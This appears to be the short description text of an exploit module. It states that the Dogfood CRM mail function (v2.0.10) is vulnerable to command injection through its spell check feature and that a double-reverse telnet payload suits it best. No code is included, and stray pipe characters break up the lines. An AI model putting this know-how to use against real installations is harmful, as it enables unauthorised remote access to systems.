This module exploits a previously unpublished vulnerability in the
|
|
Dogfood CRM mail function which is vulnerable to command injection
|
|
in the spell check feature. Because of character restrictions, this
|
|
exploit works best with the double-reverse telnet payload. This
|
|
vulnerability was discovered by LSO and affects v2.0.10.
